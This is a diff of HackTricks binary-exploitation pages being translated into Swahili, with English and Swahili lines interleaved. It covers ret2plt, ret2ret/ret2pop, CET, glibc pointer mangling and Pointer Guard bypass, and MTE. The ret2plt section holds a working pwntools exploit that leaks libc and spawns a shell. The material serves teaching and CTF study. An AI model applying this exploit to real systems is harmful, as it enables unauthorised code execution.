Kumbuka hivyo inaweza kuwa inawezekana **kuzidi ASLR kwa kutumia vdso** ikiwa kernel imeandikwa na CONFIG_COMPAT_VDSO kwani anwani ya vdso haitakuwa na mabadiliko. Kwa maelezo zaidi angalia:
{{#ref}}
../../rop-return-oriented-programing/ret2vdso.md

View File

@ -4,38 +4,35 @@
## Basic Information
The goal of this technique would be to **leak an address from a function from the PLT** to be able to bypass ASLR. This is because if, for example, you leak the address of the function `puts` from the libc, you can then **calculate where is the base of `libc`** and calculate offsets to access other functions such as **`system`**.
This can be done with a `pwntools` payload such as ([**from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):
Lengo la mbinu hii ni **kuvuja anwani kutoka kwa kazi kutoka PLT** ili kuweza kupita ASLR. Hii ni kwa sababu ikiwa, kwa mfano, unavuja anwani ya kazi `puts` kutoka libc, unaweza kisha **kuhesabu ambapo msingi wa `libc` uko** na kuhesabu offsets ili kufikia kazi nyingine kama **`system`**.
Hii inaweza kufanywa na payload ya `pwntools` kama ([**kutoka hapa**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):
```python
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
```
Note how **`puts`** (akitumia anwani kutoka PLT) inaitwa kwa anwani ya `puts` iliyoko katika GOT (Global Offset Table). Hii ni kwa sababu wakati **`puts`** inachapisha kipengee cha GOT cha puts, **kipengee hiki kitakuwa na anwani halisi ya `puts` katika kumbukumbu**.
Note how **`puts`** (using the address from the PLT) is called with the address of `puts` located in the GOT (Global Offset Table). This is because by the time `puts` prints the GOT entry of puts, this **entry will contain the exact address of `puts` in memory**.
Also note how the address of `main` is used in the exploit so when `puts` ends its execution, the **binary calls `main` again instead of exiting** (so the leaked address will continue to be valid).
Pia angalia jinsi anwani ya `main` inavyotumika katika exploit ili wakati **`puts`** inamaliza utekelezaji wake, **binary inaita `main` tena badala ya kutoka** (hivyo anwani iliyovuja itaendelea kuwa halali).
> [!CAUTION]
> Note how in order for this to work the **binary cannot be compiled with PIE** or you must have **found a leak to bypass PIE** in order to know the address of the PLT, GOT and main. Otherwise, you need to bypass PIE first.
You can find a [**full example of this bypass here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). This was the final exploit from that **example**:
```python
from pwn import *
@ -46,10 +43,10 @@ p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
@ -61,22 +58,21 @@ libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
```
## Other examples & References
## Mifano Mingine & Marejeleo
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
- 64 bit, ASLR imewezeshwa lakini hakuna PIE, hatua ya kwanza ni kujaza overflow hadi byte 0x00 ya canary ili kisha kuita puts na kuvuja. Kwa canary, gadget ya ROP inaundwa kuita puts ili kuvuja anwani ya puts kutoka GOT na gadget ya ROP kuita `system('/bin/sh')`
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget.
- 64 bits, ASLR imewezeshwa, hakuna canary, overflow ya stack katika main kutoka kwa kazi ya mtoto. Gadget ya ROP kuita puts ili kuvuja anwani ya puts kutoka GOT na kisha kuita gadget moja.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,27 +4,27 @@
## Ret2ret
The main **goal** of this technique is to try to **bypass ASLR by abusing an existing pointer in the stack**.
Lengo kuu la mbinu hii ni kujaribu kupita ASLR kwa kutumia kiashiria kilichopo kwenye stack.
Basically, stack overflows are usually caused by strings, and **strings end with a null byte at the end** in memory. This allows to try to reduce the place pointed by na existing pointer already existing n the stack. So if the stack contained `0xbfffffdd`, this overflow could transform it into `0xbfffff00` (note the last zeroed byte).
Kimsingi, overflows za stack mara nyingi husababishwa na nyuzi, na nyuzi huishia na byte ya null mwishoni katika kumbukumbu. Hii inaruhusu kujaribu kupunguza mahali panaposhikiliwa na kiashiria kilichopo tayari kwenye stack. Hivyo kama stack ilikuwa na `0xbfffffdd`, overflow hii inaweza kuibadilisha kuwa `0xbfffff00` (zingatia byte ya mwisho iliyo na sifuri).
If that address points to our shellcode in the stack, it's possible to make the flow reach that address by **adding addresses to the `ret` instruction** util this one is reached.
Ikiwa anwani hiyo inashikilia shellcode yetu kwenye stack, inawezekana kufanya mtiririko ufikie anwani hiyo kwa kuongeza anwani kwenye amri ya `ret` hadi hii ifikie.
Therefore the attack would be like this:
Hivyo shambulio litakuwa kama ifuatavyo:
- NOP sled
- Shellcode
- Overwrite the stack from the EIP with **addresses to `ret`** (RET sled)
- 0x00 added by the string modifying an address from the stack making it point to the NOP sled
- Andika upya stack kutoka EIP kwa **anwani za `ret`** (RET sled)
- 0x00 iliyoongezwa na nyuzi ikibadilisha anwani kutoka kwenye stack na kuifanya ishikilie NOP sled
Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) you can see an example of a vulnerable binary and [**in this one**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) the exploit.
Kufuata [**kiungo hiki**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) unaweza kuona mfano wa binary iliyo hatarini na [**hii moja**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) exploit.
## Ret2pop
In case you can find a **perfect pointer in the stack that you don't want to modify** (in `ret2ret` we changes the final lowest byte to `0x00`), you can perform the same `ret2ret` attack, but the **length of the RET sled must be shorted by 1** (so the final `0x00` overwrites the data just before the perfect pointer), and the **last** address of the RET sled must point to **`pop <reg>; ret`**.\
This way, the **data before the perfect pointer will be removed** from the stack (this is the data affected by the `0x00`) and the **final `ret` will point to the perfect address** in the stack without any change.
Ikiwa unaweza kupata **kiashiria bora kwenye stack ambacho hutaki kubadilisha** (katika `ret2ret` tunabadilisha byte ya mwisho ya chini kuwa `0x00`), unaweza kufanya shambulio sawa la `ret2ret`, lakini **urefu wa RET sled lazima upunguzwe kwa 1** (hivyo `0x00` ya mwisho inabadilisha data kabla ya kiashiria bora), na **anwani ya mwisho** ya RET sled lazima ishikilie **`pop <reg>; ret`**.\
Kwa njia hii, **data kabla ya kiashiria bora itatolewa** kutoka kwenye stack (hii ni data iliyoathiriwa na `0x00`) na **`ret` ya mwisho itashikilia anwani bora** kwenye stack bila mabadiliko yoyote.
Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) you can see an example of a vulnerable binary and [**in this one** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c)the exploit.
Kufuata [**kiungo hiki**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) unaweza kuona mfano wa binary iliyo hatarini na [**hii moja** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) exploit.
## References

View File

@ -4,22 +4,22 @@
## Control Flow Enforcement Technology (CET)
**CET** is a security feature implemented at the hardware level, designed to thwart common control-flow hijacking attacks such as **Return-Oriented Programming (ROP)** and **Jump-Oriented Programming (JOP)**. These types of attacks manipulate the execution flow of a program to execute malicious code or to chain together pieces of benign code in a way that performs a malicious action.
**CET** ni kipengele cha usalama kilichotekelezwa katika ngazi ya vifaa, kilichoundwa kuzuia mashambulizi ya kawaida ya kudhibiti mtiririko kama vile **Return-Oriented Programming (ROP)** na **Jump-Oriented Programming (JOP)**. Aina hizi za mashambulizi zinatumia mtiririko wa utekelezaji wa programu ili kutekeleza msimbo mbaya au kuunganisha vipande vya msimbo mzuri kwa njia inayofanya kitendo kibaya.
CET introduces two main features: **Indirect Branch Tracking (IBT)** and **Shadow Stack**.
CET inintroduces vipengele viwili vikuu: **Indirect Branch Tracking (IBT)** na **Shadow Stack**.
- **IBT** ensures that indirect jumps and calls are made to valid targets, which are marked explicitly as legal destinations for indirect branches. This is achieved through the use of a new instruction set that marks valid targets, thus preventing attackers from diverting the control flow to arbitrary locations.
- **Shadow Stack** is a mechanism that provides integrity for return addresses. It keeps a secured, hidden copy of return addresses separate from the regular call stack. When a function returns, the return address is validated against the shadow stack, preventing attackers from overwriting return addresses on the stack to hijack the control flow.
- **IBT** inahakikisha kwamba kuruka na kuita kwa njia isiyo ya moja kwa moja kunafanywa kwa malengo halali, ambayo yamewekwa wazi kama maeneo halali ya matawi yasiyo ya moja kwa moja. Hii inapatikana kupitia matumizi ya seti mpya ya maagizo ambayo inaashiria malengo halali, hivyo kuzuia washambuliaji kuhamasisha mtiririko wa udhibiti kwa maeneo yasiyo ya kawaida.
- **Shadow Stack** ni mekanizma inayotoa uaminifu kwa anwani za kurudi. Inahifadhi nakala salama, iliyofichwa ya anwani za kurudi tofauti na stack ya kawaida ya kuita. Wakati kazi inaporudi, anwani ya kurudi inathibitishwa dhidi ya shadow stack, ikizuia washambuliaji kuandika tena anwani za kurudi kwenye stack ili kuhamasisha mtiririko wa udhibiti.
## Shadow Stack
The **shadow stack** is a **dedicated stack used solely for storing return addresses**. It works alongside the regular stack but is protected and hidden from normal program execution, making it difficult for attackers to tamper with. The primary goal of the shadow stack is to ensure that any modifications to return addresses on the conventional stack are detected before they can be used, effectively mitigating ROP attacks.
**Shadow stack** ni **stack maalum inayotumika pekee kuhifadhi anwani za kurudi**. Inafanya kazi pamoja na stack ya kawaida lakini inalindwa na kufichwa kutoka kwa utekelezaji wa kawaida wa programu, na kuifanya kuwa ngumu kwa washambuliaji kuingilia. Lengo kuu la shadow stack ni kuhakikisha kwamba mabadiliko yoyote kwenye anwani za kurudi kwenye stack ya kawaida yanagundulika kabla ya kutumika, hivyo kupunguza mashambulizi ya ROP.
## How CET and Shadow Stack Prevent Attacks
## Jinsi CET na Shadow Stack Zinavyopunguza Mashambulizi
**ROP and JOP attacks** rely on the ability to hijack the control flow of an application by leveraging vulnerabilities that allow them to overwrite pointers or return addresses on the stack. By directing the flow to sequences of existing code gadgets or return-oriented programming gadgets, attackers can execute arbitrary code.
**Mashambulizi ya ROP na JOP** yanategemea uwezo wa kuhamasisha mtiririko wa udhibiti wa programu kwa kutumia udhaifu unaowaruhusu kuandika tena viashiria au anwani za kurudi kwenye stack. Kwa kuelekeza mtiririko kwa mfuatano wa vifaa vya msimbo vilivyopo au vifaa vya kurudi, washambuliaji wanaweza kutekeleza msimbo wowote.
- **CET's IBT** feature makes these attacks significantly harder by ensuring that indirect branches can only jump to addresses that have been explicitly marked as valid targets. This makes it impossible for attackers to execute arbitrary gadgets spread across the binary.
- The **shadow stack**, on the other hand, ensures that even if an attacker can overwrite a return address on the normal stack, the **discrepancy will be detected** when comparing the corrupted address with the secure copy stored in the shadow stack upon returning from a function. If the addresses don't match, the program can terminate or take other security measures, preventing the attack from succeeding.
- Kipengele cha **IBT** cha CET kinawafanya mashambulizi haya kuwa magumu sana kwa kuhakikisha kwamba matawi yasiyo ya moja kwa moja yanaweza kuruka tu kwa anwani ambazo zimewekwa wazi kama malengo halali. Hii inafanya iwe haiwezekani kwa washambuliaji kutekeleza vifaa vyovyote vilivyotawanyika kwenye binary.
- **Shadow stack**, kwa upande mwingine, inahakikisha kwamba hata kama mshambuliaji anaweza kuandika tena anwani ya kurudi kwenye stack ya kawaida, **tofauti itagundulika** wakati wa kulinganisha anwani iliyoharibiwa na nakala salama iliyohifadhiwa kwenye shadow stack wakati wa kurudi kutoka kwa kazi. Ikiwa anwani hazifanani, programu inaweza kumalizika au kuchukua hatua nyingine za usalama, kuzuia mashambulizi kufanikiwa.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,79 +4,79 @@
## Chunk Alignment Enforcement
**Malloc** allocates memory in **8-byte (32-bit) or 16-byte (64-bit) groupings**. This means the end of chunks in 32-bit systems should align with **0x8**, and in 64-bit systems with **0x0**. The security feature checks that each chunk **aligns correctly** at these specific locations before using a pointer from a bin.
**Malloc** inatoa kumbukumbu katika **8-byte (32-bit) au 16-byte (64-bit) makundi**. Hii inamaanisha kwamba mwisho wa chunks katika mifumo ya 32-bit inapaswa kuendana na **0x8**, na katika mifumo ya 64-bit na **0x0**. Kipengele hiki cha usalama kinathibitisha kwamba kila chunk **inaendana vizuri** katika maeneo haya maalum kabla ya kutumia pointer kutoka kwa bin.
### Security Benefits
### Faida za Usalama
The enforcement of chunk alignment in 64-bit systems significantly enhances Malloc's security by **limiting the placement of fake chunks to only 1 out of every 16 addresses**. This complicates exploitation efforts, especially in scenarios where the user has limited control over input values, making attacks more complex and harder to execute successfully.
Utekelezaji wa kuendana kwa chunks katika mifumo ya 64-bit huongeza usalama wa Malloc kwa **kudhibiti uwekaji wa chunks za uongo kuwa 1 tu kati ya anwani 16**. Hii inafanya juhudi za unyakuzi kuwa ngumu, hasa katika hali ambapo mtumiaji ana udhibiti mdogo juu ya thamani za pembejeo, na kufanya mashambulizi kuwa magumu zaidi na yasiyoweza kutekelezwa kwa mafanikio.
- **Fastbin Attack on \_\_malloc_hook**
The new alignment rules in Malloc also thwart a classic attack involving the `__malloc_hook`. Previously, attackers could manipulate chunk sizes to **overwrite this function pointer** and gain **code execution**. Now, the strict alignment requirement ensures that such manipulations are no longer viable, closing a common exploitation route and enhancing overall security.
Sheria mpya za kuendana katika Malloc pia zinakabili shambulio la jadi linalohusisha `__malloc_hook`. Awali, washambuliaji wangeweza kubadilisha saizi za chunks ili **kuandika tena pointer hii ya kazi** na kupata **utendaji wa msimbo**. Sasa, hitaji kali la kuendana linahakikisha kwamba manipulasi kama hizo hazifai tena, na kufunga njia ya kawaida ya unyakuzi na kuongeza usalama kwa ujumla.
## Pointer Mangling on fastbins and tcache
**Pointer Mangling** is a security enhancement used to protect **fastbin and tcache Fd pointers** in memory management operations. This technique helps prevent certain types of memory exploit tactics, specifically those that do not require leaked memory information or that manipulate memory locations directly relative to known positions (relative **overwrites**).
**Pointer Mangling** ni uboreshaji wa usalama unaotumika kulinda **fastbin na tcache Fd pointers** katika operesheni za usimamizi wa kumbukumbu. Tekni hii husaidia kuzuia aina fulani za mbinu za unyakuzi wa kumbukumbu, hasa zile ambazo hazihitaji taarifa za kumbukumbu zilizovuja au ambazo zinabadilisha maeneo ya kumbukumbu moja kwa moja kulingana na nafasi zilizojulikana (kuandika **relative**).
The core of this technique is an obfuscation formula:
Msingi wa mbinu hii ni formula ya kuficha:
**`New_Ptr = (L >> 12) XOR P`**
- **L** is the **Storage Location** of the pointer.
- **P** is the actual **fastbin/tcache Fd Pointer**.
- **L** ni **Mahali pa Hifadhi** ya pointer.
- **P** ni **fastbin/tcache Fd Pointer** halisi.
The reason for the bitwise shift of the storage location (L) by 12 bits to the right before the XOR operation is critical. This manipulation addresses a vulnerability inherent in the deterministic nature of the least significant 12 bits of memory addresses, which are typically predictable due to system architecture constraints. By shifting the bits, the predictable portion is moved out of the equation, enhancing the randomness of the new, mangled pointer and thereby safeguarding against exploits that rely on the predictability of these bits.
Sababu ya kuhamasisha mahali pa hifadhi (L) kwa bits 12 kwenda kulia kabla ya operesheni ya XOR ni muhimu. Manipulasi hii inashughulikia udhaifu ulio ndani ya asili ya kimaamuzi ya bits 12 za chini zaidi za anwani za kumbukumbu, ambazo kwa kawaida zinatabirika kutokana na vikwazo vya usanifu wa mfumo. Kwa kuhamasisha bits, sehemu inayotabirika inahamishwa nje ya hesabu, ikiongeza nasibu ya pointer mpya, iliyofichwa na hivyo kulinda dhidi ya unyakuzi unaotegemea utabiri wa bits hizi.
This mangled pointer leverages the existing randomness provided by **Address Space Layout Randomization (ASLR)**, which randomizes addresses used by programs to make it difficult for attackers to predict the memory layout of a process.
Pointer hii iliyofichwa inatumia nasibu iliyopo iliyotolewa na **Address Space Layout Randomization (ASLR)**, ambayo inafanya anwani zinazotumiwa na programu kuwa ngumu kwa washambuliaji kutabiri mpangilio wa kumbukumbu wa mchakato.
**Demangling** the pointer to retrieve the original address involves using the same XOR operation. Here, the mangled pointer is treated as P in the formula, and when XORed with the unchanged storage location (L), it results in the original pointer being revealed. This symmetry in mangling and demangling ensures that the system can efficiently encode and decode pointers without significant overhead, while substantially increasing security against attacks that manipulate memory pointers.
**Demangling** pointer ili kupata anwani ya asili inahusisha kutumia operesheni ile ile ya XOR. Hapa, pointer iliyofichwa inachukuliwa kama P katika formula, na wakati inapo XORed na mahali pa hifadhi (L) isiyobadilika, inasababisha pointer ya asili kufichuliwa. Hii symmetry katika mangling na demangling inahakikisha kwamba mfumo unaweza kwa ufanisi kuandika na kufichua pointers bila mzigo mkubwa, huku ikiongeza usalama dhidi ya mashambulizi yanayobadilisha pointers za kumbukumbu.
### Security Benefits
### Faida za Usalama
Pointer mangling aims to **prevent partial and full pointer overwrites in heap** management, a significant enhancement in security. This feature impacts exploit techniques in several ways:
Maimara ya pointer yanakusudia **kuzuia kuandika tena kwa sehemu na kamili za pointer katika usimamizi wa heap**, uboreshaji muhimu katika usalama. Kipengele hiki kinaathiri mbinu za unyakuzi kwa njia kadhaa:
1. **Prevention of Bye Byte Relative Overwrites**: Previously, attackers could change part of a pointer to **redirect heap chunks to different locations without knowing exact addresses**, a technique evident in the leakless **House of Roman** exploit. With pointer mangling, such relative overwrites **without a heap leak now require brute forcing**, drastically reducing their likelihood of success.
2. **Increased Difficulty of Tcache Bin/Fastbin Attacks**: Common attacks that overwrite function pointers (like `__malloc_hook`) by manipulating fastbin or tcache entries are hindered. For example, an attack might involve leaking a LibC address, freeing a chunk into the tcache bin, and then overwriting the Fd pointer to redirect it to `__malloc_hook` for arbitrary code execution. With pointer mangling, these pointers must be correctly mangled, **necessitating a heap leak for accurate manipulation**, thereby elevating the exploitation barrier.
3. **Requirement for Heap Leaks in Non-Heap Locations**: Creating a fake chunk in non-heap areas (like the stack, .bss section, or PLT/GOT) now also **requires a heap leak** due to the need for pointer mangling. This extends the complexity of exploiting these areas, similar to the requirement for manipulating LibC addresses.
4. **Leaking Heap Addresses Becomes More Challenging**: Pointer mangling restricts the usefulness of Fd pointers in fastbin and tcache bins as sources for heap address leaks. However, pointers in unsorted, small, and large bins remain unmangled, thus still usable for leaking addresses. This shift pushes attackers to explore these bins for exploitable information, though some techniques may still allow for demangling pointers before a leak, albeit with constraints.
1. **Kuzuia Kuandika kwa Bye Byte Relative**: Awali, washambuliaji wangeweza kubadilisha sehemu ya pointer ili **kuhamasisha chunks za heap kwa maeneo tofauti bila kujua anwani sahihi**, mbinu ambayo inaonekana katika unyakuzi wa **House of Roman** bila uvujaji. Kwa maimara ya pointer, kuandika tena kama hizo **bila uvujaji wa heap sasa kunahitaji nguvu ya kikatili**, na kupunguza sana uwezekano wa mafanikio yao.
2. **Kuongeza Ugumu wa Mashambulizi ya Tcache Bin/Fastbin**: Mashambulizi ya kawaida yanayoandika tena pointers za kazi (kama `__malloc_hook`) kwa kubadilisha fastbin au tcache entries yanakabiliwa. Kwa mfano, shambulio linaweza kujumuisha kuvujisha anwani ya LibC, kuachilia chunk katika tcache bin, na kisha kuandika tena pointer ya Fd ili kuhamasisha kwa `__malloc_hook` kwa utendaji wa msimbo wa kiholela. Kwa maimara ya pointer, pointers hizi lazima ziwe zimefichwa vizuri, **zinahitaji uvujaji wa heap kwa usahihi wa manipulasi**, hivyo kuongeza kizuizi cha unyakuzi.
3. **Hitaji la Uvujaji wa Heap katika Maeneo Yasiyo ya Heap**: Kuunda chunk ya uongo katika maeneo yasiyo ya heap (kama stack, sehemu ya .bss, au PLT/GOT) sasa pia **kunahitaji uvujaji wa heap** kutokana na hitaji la maimara ya pointer. Hii inapanua ugumu wa unyakuzi katika maeneo haya, sawa na hitaji la kubadilisha anwani za LibC.
4. **Kuvuja kwa Anwani za Heap Kunakuwa Ngumu Zaidi**: Maimara ya pointer yanapunguza matumizi ya pointers za Fd katika fastbin na tcache bins kama vyanzo vya uvujaji wa anwani za heap. Hata hivyo, pointers katika bins zisizopangwa, ndogo, na kubwa zinabaki kuwa hazijafichwa, hivyo bado zinatumika kwa uvujaji wa anwani. Mabadiliko haya yanawasukuma washambuliaji kuchunguza bins hizi kwa taarifa zinazoweza kutumika, ingawa mbinu zingine zinaweza bado kuruhusu kufichua pointers kabla ya uvujaji, ingawa kwa vikwazo.
### **Demangling Pointers with a Heap Leak**
> [!CAUTION]
> For a better explanation of the process [**check the original post from here**](https://maxwelldulin.com/BlogPost?post=5445977088).
> Kwa maelezo bora ya mchakato [**angalia chapisho la asili kutoka hapa**](https://maxwelldulin.com/BlogPost?post=5445977088).
### Algorithm Overview
### Muhtasari wa Algorithm
The formula used for mangling and demangling pointers is:&#x20;
Formula inayotumika kwa maimara na demangling pointers ni:&#x20;
**`New_Ptr = (L >> 12) XOR P`**
Where **L** is the storage location and **P** is the Fd pointer. When **L** is shifted right by 12 bits, it exposes the most significant bits of **P**, due to the nature of **XOR**, which outputs 0 when bits are XORed with themselves.
Ambapo **L** ni mahali pa hifadhi na **P** ni pointer ya Fd. Wakati **L** inahamishwa kulia kwa bits 12, inafichua bits muhimu zaidi za **P**, kutokana na asili ya **XOR**, ambayo inatoa 0 wakati bits zinapofanywa XOR na wenyewe.
**Key Steps in the Algorithm:**
**Hatua Muhimu katika Algorithm:**
1. **Initial Leak of the Most Significant Bits**: By XORing the shifted **L** with **P**, you effectively get the top 12 bits of **P** because the shifted portion of **L** will be zero, leaving **P's** corresponding bits unchanged.
2. **Recovery of Pointer Bits**: Since XOR is reversible, knowing the result and one of the operands allows you to compute the other operand. This property is used to deduce the entire set of bits for **P** by successively XORing known sets of bits with parts of the mangled pointer.
3. **Iterative Demangling**: The process is repeated, each time using the newly discovered bits of **P** from the previous step to decode the next segment of the mangled pointer, until all bits are recovered.
4. **Handling Deterministic Bits**: The final 12 bits of **L** are lost due to the shift, but they are deterministic and can be reconstructed post-process.
1. **Uvujaji wa Awali wa Bits Muhimu Zaidi**: Kwa XORing **L** iliyohamishwa na **P**, unapata kwa ufanisi bits 12 za juu za **P** kwa sababu sehemu iliyohamishwa ya **L** itakuwa sifuri, ikiacha bits zinazohusiana za **P** zisibadilishwe.
2. **Kurejesha Bits za Pointer**: Kwa kuwa XOR ni reversible, kujua matokeo na mmoja wa operandi kunakuruhusu kuhesabu operandi nyingine. Mali hii inatumika kudhibitisha seti nzima ya bits za **P** kwa kufuatilia bits zinazojulikana na sehemu za pointer iliyofichwa.
3. **Demangling ya Kiteremka**: Mchakato unarudiwa, kila wakati ukitumia bits mpya zilizogunduliwa za **P** kutoka hatua ya awali kufichua sehemu inayofuata ya pointer iliyofichwa, hadi bits zote zirejeshwe.
4. **Kushughulikia Bits za Kimaamuzi**: Bits za mwisho 12 za **L** zinapotea kutokana na kuhamasisha, lakini ni za kimaamuzi na zinaweza kujengwa tena baada ya mchakato.
You can find an implementation of this algorithm here: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
Unaweza kupata utekelezaji wa algorithm hii hapa: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
## Pointer Guard
Pointer guard is an exploit mitigation technique used in glibc to protect stored function pointers, particularly those registered by library calls such as `atexit()`. This protection involves scrambling the pointers by XORing them with a secret stored in the thread data (`fs:0x30`) and applying a bitwise rotation. This mechanism aims to prevent attackers from hijacking control flow by overwriting function pointers.
Pointer guard ni mbinu ya kupunguza unyakuzi inayotumika katika glibc kulinda pointers za kazi zilizohifadhiwa, hasa zile zilizosajiliwa na wito wa maktaba kama `atexit()`. Ulinzi huu unahusisha kuchanganya pointers kwa kuwasilisha na XORing na siri iliyohifadhiwa katika data ya thread (`fs:0x30`) na kufanya mzunguko wa bits. Mekanismu hii inalenga kuzuia washambuliaji kuiba mtiririko wa udhibiti kwa kuandika tena pointers za kazi.
### **Bypassing Pointer Guard with a leak**
### **Kupita Pointer Guard kwa uvujaji**
1. **Understanding Pointer Guard Operations:** The scrambling (mangling) of pointers is done using the `PTR_MANGLE` macro which XORs the pointer with a 64-bit secret and then performs a left rotation of 0x11 bits. The reverse operation for recovering the original pointer is handled by `PTR_DEMANGLE`.
2. **Attack Strategy:** The attack is based on a known-plaintext approach, where the attacker needs to know both the original and the mangled versions of a pointer to deduce the secret used for mangling.
3. **Exploiting Known Plaintexts:**
- **Identifying Fixed Function Pointers:** By examining glibc source code or initialized function pointer tables (like `__libc_pthread_functions`), an attacker can find predictable function pointers.
- **Computing the Secret:** Using a known function pointer such as `__pthread_attr_destroy` and its mangled version from the function pointer table, the secret can be calculated by reverse rotating (right rotation) the mangled pointer and then XORing it with the address of the function.
4. **Alternative Plaintexts:** The attacker can also experiment with mangling pointers with known values like 0 or -1 to see if these produce identifiable patterns in memory, potentially revealing the secret when these patterns are found in memory dumps.
5. **Practical Application:** After computing the secret, an attacker can manipulate pointers in a controlled manner, essentially bypassing the Pointer Guard protection in a multithreaded application with knowledge of the libc base address and an ability to read arbitrary memory locations.
1. **Kuelewa Operesheni za Pointer Guard:** Kuchanganya (mangling) kwa pointers kunafanywa kwa kutumia macro ya `PTR_MANGLE` ambayo inafanya XOR pointer na siri ya bits 64 na kisha inafanya mzunguko wa kushoto wa bits 0x11. Operesheni ya kinyume ya kurejesha pointer ya asili inashughulikiwa na `PTR_DEMANGLE`.
2. **Mkakati wa Shambulio:** Shambulio linategemea mbinu ya plaintext inayojulikana, ambapo mshambuliaji anahitaji kujua toleo la asili na la kuchanganywa la pointer ili kudhibitisha siri iliyotumika kwa kuchanganya.
3. **Kunutumia Plaintexts Zinazojulikana:**
- **Kutambua Pointers za Kazi Zilizowekwa:** Kwa kuchunguza msimbo wa chanzo wa glibc au meza za pointers za kazi zilizowekwa (kama `__libc_pthread_functions`), mshambuliaji anaweza kupata pointers za kazi zinazoweza kutabirika.
- **Kuhesabu Siri:** Kwa kutumia pointer ya kazi inayojulikana kama `__pthread_attr_destroy` na toleo lake lililochanganywa kutoka kwenye meza ya pointer za kazi, siri inaweza kuhesabiwa kwa kuhamasisha pointer iliyochanganywa na kisha kuifanya XOR na anwani ya kazi.
4. **Plaintexts Mbadala:** Mshambuliaji anaweza pia kujaribu kuchanganya pointers na thamani zinazojulikana kama 0 au -1 ili kuona kama hizi zinatoa mifumo inayoweza kutambulika katika kumbukumbu, huenda zikafichua siri wakati mifumo hii inapatikana katika dump za kumbukumbu.
5. **Matumizi ya Vitendo:** Baada ya kuhesabu siri, mshambuliaji anaweza kubadilisha pointers kwa njia iliyo na udhibiti, kimsingi akipita ulinzi wa Pointer Guard katika programu nyingi za nyuzi kwa maarifa ya anwani ya msingi ya libc na uwezo wa kusoma maeneo ya kumbukumbu ya kiholela.
## References
## Marejeleo
- [https://maxwelldulin.com/BlogPost?post=5445977088](https://maxwelldulin.com/BlogPost?post=5445977088)
- [https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1](https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1)

View File

@ -4,80 +4,78 @@
## Basic Information
**Memory Tagging Extension (MTE)** is designed to enhance software reliability and security by **detecting and preventing memory-related errors**, such as buffer overflows and use-after-free vulnerabilities. MTE, as part of the **ARM** architecture, provides a mechanism to attach a **small tag to each memory allocation** and a **corresponding tag to each pointer** referencing that memory. This approach allows for the detection of illegal memory accesses at runtime, significantly reducing the risk of exploiting such vulnerabilities for executing arbitrary code.
**Memory Tagging Extension (MTE)** imeundwa kuboresha uaminifu na usalama wa programu kwa **kubaini na kuzuia makosa yanayohusiana na kumbukumbu**, kama vile buffer overflows na matumizi baada ya kuachiliwa. MTE, kama sehemu ya **ARM** architecture, inatoa mekanizma ya kuambatanisha **tag ndogo kwa kila allocation ya kumbukumbu** na **tag inayolingana kwa kila pointer** inayorejelea kumbukumbu hiyo. Njia hii inaruhusu kubaini upatikanaji haramu wa kumbukumbu wakati wa utekelezaji, ikipunguza hatari ya kutumia udhaifu kama huo kwa kutekeleza msimbo usio na mipaka.
### **How Memory Tagging Extension Works**
